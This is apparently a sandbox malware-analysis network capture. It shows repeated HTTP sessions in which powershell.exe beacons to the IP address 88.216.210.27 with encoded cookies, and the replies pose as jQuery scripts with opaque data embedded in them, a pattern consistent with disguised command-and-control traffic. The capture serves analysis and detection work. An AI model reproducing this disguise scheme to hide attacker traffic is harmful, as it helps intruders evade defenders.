Apr 9, 2023 02:59:31.932843924 CEST	575	IN	Data Raw: 47 46 49 4b 4f 43 50 48 4c 4e 41 45 48 46 48 43 47 42 46 45 49 41 50 41 47 42 47 42 4f 45 43 4f 46 46 49 43 4f 45 4e 44 45 4d 44 41 4d 46 50 41 4d 50 4c 4f 4e 4b 44 46 4a 44 42 45 48 46 4a 48 48 4c 4a 4a 4d 48 43 45 47 49 4a 4f 44 4e 4b 42 41 42 Data Ascii: GFIKOCPHLNAEHFHCGBFEIAPAGBGBOECOFFICOENDEMDAMFPAMPLONKDFJDBEHFJHHLJJMHCEGIJODNKBABGFHGNBEGBLMAKGMOOCNMCOBIABOIADNANOBOHDDPNJDFNJLENFPOLECHOLNNEHDBPFKAIEMHFFALLOOPDNMAOBECIMFEFHKKCGCMOEOPFIFGOKDMOOHJCCEJJHGGHPEBPNLMOAFKJNCJKOLAAJDBANGANMDDGKMEN
Apr 9, 2023 02:59:31.932863951 CEST	575	IN	Data Raw: 65 28 72 2c 69 29 3b 6e 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6f 29 2e 70 61 72 65 6e 74 4e 6f 64 65 3b Data Ascii: e(r,i);n.head.appendChild(o).parentNode;

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
122	192.168.2.5	49806	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:32.186223984 CEST	576	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=MruY72l4-Ki4TDfuC212j8jHG4Rf_Ni1pfQxIp2XAegRjO-fICAe-Mqx5TWORniA2tKd4jGXRdHxwp-yJBe0tJRlVApYBo1RuKHEt27sB4mmp560Ah00mnDDZgoay97F9j0bZHoV8LSAQbwbP1dcNKE1Gengq-M58qPpw39pmVYHj4BC User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:32.334785938 CEST	577	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:32 GMT Server: CloudFront Content-Length: 2260 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:32.334827900 CEST	578	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:32.334861994 CEST	579	IN	Data Raw: 42 4b 4e 4a 4b 43 47 45 43 4f 43 46 4f 44 48 4d 50 45 42 41 4b 44 4b 50 47 4c 4f 45 42 4f 49 50 42 4b 43 50 41 4c 43 4d 4a 42 4c 42 47 45 49 43 47 41 46 48 46 4d 45 49 4d 48 4e 4b 41 4d 49 4a 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 34 2e 31 20 Data Ascii: BKNJKCGECOCFODHMPEBAKDKPGLOEBOIPBKCPALCMJBLBGEICGAFHFMEIMHNKAMIJ/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license / !function(e,t){'use strict';'object'==typeof module&&'object'==typeof module.exports? mo

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
123	192.168.2.5	49807	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:32.596596003 CEST	580	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=A6ZJKVhlKW6JUeYoOnCnSfnaykJu4QlzlOng5KyK0C4gkT5ZET3PPvusNPO_W6lG689MJACKlBfA3050FQplcqV4hcxpG1yXibwVcV_x1k-Xuk9yMwDlXEHet8wr1g8DxyDKoksIIXKxXG3dDkqN8pAoyC_RtjL_w744BU50SJA2klGE User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:32.745337963 CEST	580	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:32 GMT Server: CloudFront Content-Length: 2548 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:32.745373011 CEST	582	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:32.745398045 CEST	583	IN	Data Raw: 4b 4a 4e 48 46 4a 4d 45 4d 4a 4d 49 50 4f 4c 44 41 49 4d 49 48 42 45 4c 42 50 4c 43 50 48 42 48 45 45 4f 44 4f 44 43 48 49 49 45 4c 44 45 41 45 4e 4d 4f 49 4d 46 49 4a 44 46 4a 50 4c 4c 46 41 4f 50 46 49 4b 46 43 47 44 4b 4f 4f 43 44 41 41 43 41 Data Ascii: KJNHFJMEMJMIPOLDAIMIHBELBPLCPHBHEEODODCHIIELDEAENMOIMFIJDFJPLLFAOPFIKFCGDKOOCDAACAAJNHOBJNJCNFHDHGGBKKKNCDMAFHOJAFLJMFNHPJMJBDFJBKPPBGFFOEGBEOHHJHIBEADHPMAELPHEKDGDJMIHLEGLMJOHLEDIEFAFMFLOIMDOKGDEPEOGCMDOOBDGHFDMCKNHHAINHECDDIBCGHBJODNCDHIBHNI

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
124	192.168.2.5	49808	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:33.015346050 CEST	584	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=cdOlzyoQxYj7JArOSAVLr4uvJqQclOWV5pwMAt7_PMhS5NK_Y0gj2InZ2BXNLkWgmbqgwnL_ePGyqqKSZ3-JlNcNaSobbrBx-8n5ly2EOqnlz6OUQXUJujOrWypZo-PltVUmRDl9zZTDKYE7fD9hFOJdJMmjw94ZscvU4zwBpHZE571i User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:33.184792995 CEST	584	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:33 GMT Server: CloudFront Content-Length: 2644 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:33.184880972 CEST	586	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:33.184907913 CEST	587	IN	Data Raw: 41 45 4a 49 42 50 47 4e 4b 48 44 43 4e 50 4e 43 42 46 4f 41 50 41 43 4f 4c 4b 47 4d 48 4f 4b 4a 4d 45 4f 43 4a 50 4c 50 50 4b 47 44 41 4f 4c 4a 4e 42 4a 47 4e 48 4a 45 4f 46 4f 48 4c 4e 45 43 42 48 45 48 4c 4d 42 46 49 4b 4a 4b 4c 49 43 46 43 4a Data Ascii: AEJIBPGNKHDCNPNCBFOAPACOLKGMHOKJMEOCJPLPPKGDAOLJNBJGNHJEOFOHLNECBHEHLMBFIKJKLICFCJDLJCAJONFDAKAJPHKHDLFFHECMEGGKJFGPHAMLBPPOPKDIBGNGAGOMMKBJAFDCCBHBLMKCNJMKFDAAODGDENAEGOIOMJHGOCJPDJIGECAFDKADELCDOMIHHFGPDCNPMHMFCBDCEONHJCLBLGELLBLHILLNIPLALGN
Apr 9, 2023 02:59:33.184928894 CEST	587	IN	Data Raw: 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 72 29 29 26 26 6f 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 72 2c 69 29 3b 6e 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6f 29 2e 70 61 72 65 6e 74 4e 6f 64 65 3b Data Ascii: .getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode;

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
125	192.168.2.5	49809	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:33.487442017 CEST	588	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=YGr8JjupnGHqnVMnWbwSRpoWf00NLbx89yVV689GZSFDXYtWcvF6MZhggfzclxxJiAP5K2NGIRijE_t7dsbQfca0MMMK1-mY6nCgfjw9Y0D0dvp9UMxQUyISAsNIGroMpOx_rSjElH3SkNjSbYY4_fPkfSCyeofwoHKNCi24_Z9VXuSL User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:33.645345926 CEST	589	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:33 GMT Server: CloudFront Content-Length: 2260 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:33.645384073 CEST	590	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:33.645415068 CEST	591	IN	Data Raw: 4f 48 41 4f 4f 43 4c 46 50 4b 44 47 4a 49 48 41 44 4f 4d 4a 48 4d 41 4a 47 45 48 4f 50 4d 4e 4b 49 4d 41 4b 48 47 48 4e 46 41 47 4f 44 47 49 4d 47 4c 47 49 44 47 50 50 46 45 49 4d 4c 44 41 45 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 34 2e 31 20 Data Ascii: OHAOOCLFPKDGJIHADOMJHMAJGEHOPMNKIMAKHGHNFAGODGIMGLGIDGPPFEIMLDAE/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license / !function(e,t){'use strict';'object'==typeof module&&'object'==typeof module.exports? mo

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
126	192.168.2.5	49810	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:33.924262047 CEST	592	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=SQyKaBLP6i_D-yVpcNpkCLNwCQMkS8oy3kMjpeYgE29qO_0YW5cMf7EG97L18WoHoWWPZUogV1aKdY01X6CmM-_SRo0jsZ_WwxbWMBVbFQ7dEIwzeaomHQt0dI1hfMxCjYoJ4wGi4jP79q6cROBOs9qCC26bHPG-iRT7RATei9F8OJLF User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:34.074949980 CEST	592	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:33 GMT Server: CloudFront Content-Length: 2580 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:34.074992895 CEST	594	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:34.075020075 CEST	595	IN	Data Raw: 4e 41 48 4d 41 44 50 50 48 43 4d 41 4b 48 4d 4d 4e 4f 46 44 42 47 4b 4a 4c 41 44 45 4d 44 41 41 43 42 41 43 42 50 47 4d 4c 47 4a 50 48 43 49 48 4d 50 50 48 4a 44 49 4c 4e 4a 46 4c 4d 41 45 48 41 48 44 42 49 4e 50 50 4e 47 4e 4a 44 45 41 44 4d 43 Data Ascii: NAHMADPPHCMAKHMMNOFDBGKJLADEMDAACBACBPGMLGJPHCIHMPPHJDILNJFLMAEHAHDBINPPNGNJDEADMCGKOLPMNFNDADEKGNPEFALLDMIFNOIBPBFCELIOOJAFLMNADCLLEFMAJMCNIFCPIGAECBLAFPAAKACPMPFELPGADLLALGMJJPJFLAKKGFOBBLMCFPEDPJHACBCBKBNFDAPGONMJPDNHGKHLDDCMAOAKMMCNKFBPBOG
Apr 9, 2023 02:59:34.075045109 CEST	595	IN	Data Raw: 65 6e 74 4e 6f 64 65 3b Data Ascii: entNode;

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
127	192.168.2.5	49811	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:34.342051029 CEST	596	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=zFzGbZefpipGq2ls9YooDTYgRQahG4Y3WxNvoGNwX2rva7Ed3sdAejRWu7dwoSYCJDXDYM9wG1MPJcEw2vDqNmqCCoim4dPTRkaaNZALWQtYQMA2_PpqGI4kOIjkLIBHCNpF5oTyrjZ-puKZwbACtl_SR2seTL27DES3QYGOx9T5aN7A User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:34.492451906 CEST	596	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:34 GMT Server: CloudFront Content-Length: 2612 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:34.492506981 CEST	598	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:34.492537022 CEST	599	IN	Data Raw: 42 48 48 4e 4d 4e 47 4d 50 44 4d 4e 47 44 41 42 4c 4d 42 46 4d 50 4d 47 44 4f 4b 42 50 4c 4a 46 4e 44 41 4d 46 49 4b 48 42 4e 4f 4c 42 4a 47 49 47 41 49 4d 48 47 43 46 45 43 4b 4a 4e 44 4a 43 4e 43 46 47 50 47 50 42 48 4a 4d 46 50 4d 4c 50 47 48 Data Ascii: BHHNMNGMPDMNGDABLMBFMPMGDOKBPLJFNDAMFIKHBNOLBJGIGAIMHGCFECKJNDJCNCFGPGPBHJMFPMLPGHMEFNIHPBPNJFACNOJDFCCCENNAKOJHHEIENBFINLIOEOHABENKHLHCLBCBHHHJEDFIEEFGIKDLAHEDJMLKBMODBFLCOKMEMICPKKKOCOBKOPFODBGGGIHBMDHEFMDMEAFNDJDJHPCLHMHJCLONJPKGGGFHCDFHKLM
Apr 9, 2023 02:59:34.492564917 CEST	599	IN	Data Raw: 65 28 72 2c 69 29 3b 6e 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6f 29 2e 70 61 72 65 6e 74 4e 6f 64 65 3b Data Ascii: e(r,i);n.head.appendChild(o).parentNode;

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
128	192.168.2.5	49812	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:34.778786898 CEST	600	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=Me-wfmos0Dm7GB9_CDleHsuTMxVcqPAkpqAZs57DKXkS2McOI3Q2acnlzaSNElAR2Ya1czLDbUDylrcjJ0OcJZcxfJtbUqXAu_XsJm24Lxil87YlAUkcC3OXTpsZn_ZU9Wkz9XlB2CWDFZSKPAN0paJhMXjj_8uo8ffBUnw9sccE26jT User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:34.937879086 CEST	600	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:34 GMT Server: CloudFront Content-Length: 2228 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:34.937927008 CEST	602	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:34.937967062 CEST	603	IN	Data Raw: 4a 45 42 41 4a 42 4d 43 4f 49 41 42 4f 44 4e 4d 4f 46 4c 4e 48 48 4c 50 42 4f 4b 45 4e 42 44 46 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 34 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f Data Ascii: JEBAJBMCOIABODNMOFLNHHLPBOKENBDF/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license / !function(e,t){'use strict';'object'==typeof module&&'object'==typeof module.exports? module.exports=e.document?t(e,!0):

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
129	192.168.2.5	49813	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:35.212759018 CEST	604	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=qrvALPF4oGsgTG8tk20uTFDHQ0fH_IB2PfRp4QWXWSuJjLdcuCBGO1KxvfYWRiBDQtLFIamXHRJpwsdxvBfsdwxlDMnABtWSIKGcdPbsX0o-p8Z3mh1sWejDPsmCy4YGbj1Dp-IVqHcYQeTYp1cE9zk1QSp4q7v6aqOxAOdpwZWfj9iB User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:35.373456001 CEST	604	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:35 GMT Server: CloudFront Content-Length: 2260 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:35.373490095 CEST	605	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:35.373517990 CEST	606	IN	Data Raw: 4f 42 41 49 4c 4a 42 4c 48 4b 42 4b 4f 4c 48 42 4c 41 4c 48 48 49 50 4b 43 4f 41 4c 4c 45 4a 44 43 41 47 4f 41 46 48 45 50 4e 41 4e 47 50 49 4f 4a 4a 42 41 42 4c 4b 42 48 4e 4a 45 4b 4f 47 4c 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 34 2e 31 20 Data Ascii: OBAILJBLHKBKOLHBLALHHIPKCOALLEJDCAGOAFHEPNANGPIOJJBABLKBHNJEKOGL/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license / !function(e,t){'use strict';'object'==typeof module&&'object'==typeof module.exports? mo

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.5	49697	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:58:44.140470028 CEST	155	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=2cBAvYIDIPpTN--84Bau3SO8w9a0hwDnTo_pcHbs2br69zfNy1vGqiHKPWdlPaDSMalFsNrsnYMauUfgz2xs5n8ejFizfVUDU9oc5YWX39tN3Ebm6WbsyJu4vljxsAaXHUbDNpFuKOZrOmRJ1CyEZkpOwbsL0DtrGdgxkZQSQQTs9FgQ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:58:44.288948059 CEST	155	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:58:44 GMT Server: CloudFront Content-Length: 2580 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:58:44.288979053 CEST	157	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:58:44.288999081 CEST	158	IN	Data Raw: 4a 4b 4c 43 47 4b 4e 41 4b 46 4e 46 4c 47 42 4e 42 4a 46 47 48 41 43 4f 46 4f 44 44 4c 44 46 4c 50 50 49 41 43 47 4f 4f 4e 4a 4c 49 46 47 45 45 4e 4c 4a 46 4f 48 44 45 42 4b 50 44 49 4f 47 41 49 46 4b 45 4a 4b 50 49 47 42 44 4d 47 4e 4b 4d 4d 4d Data Ascii: JKLCGKNAKFNFLGBNBJFGHACOFODDLDFLPPIACGOONJLIFGEENLJFOHDEBKPDIOGAIFKEJKPIGBDMGNKMMMKIEHPNALGCPFJEJNNNHFICFBBBKAAGKGKEGKGEOEOHFEMJJDHHGFCEIDGCDGKMEMDMFBDMMNFNHCNHPFKOHBMMJFBKFCOKGEIMJCMCBNILKBOOIPFPPCLJIONLJKNDBKLIMLGPNPDKJKCNFHLKKIPHAEOPIIMLFDI
Apr 9, 2023 02:58:44.289024115 CEST	158	IN	Data Raw: 65 6e 74 4e 6f 64 65 3b Data Ascii: entNode;

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
130	192.168.2.5	49814	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:35.644534111 CEST	607	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=Te3IiRYuqM7HGmeIdDsm6beRS-IgqojT2qJhROLBUY5u2r_5X3ZOnrXntVPxECjmpYTNhE7BFbeOlM_UW0Hk0uszBGwnUN03x_eU0RG6V-_Z8c7SfUtk_A-VNmxlnY6jiWtLAgVDoNL_F-x9QAEMUt5jSY-f_bNfjfW5pQA_yTB42dAk User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:35.793165922 CEST	608	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:35 GMT Server: CloudFront Content-Length: 2292 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
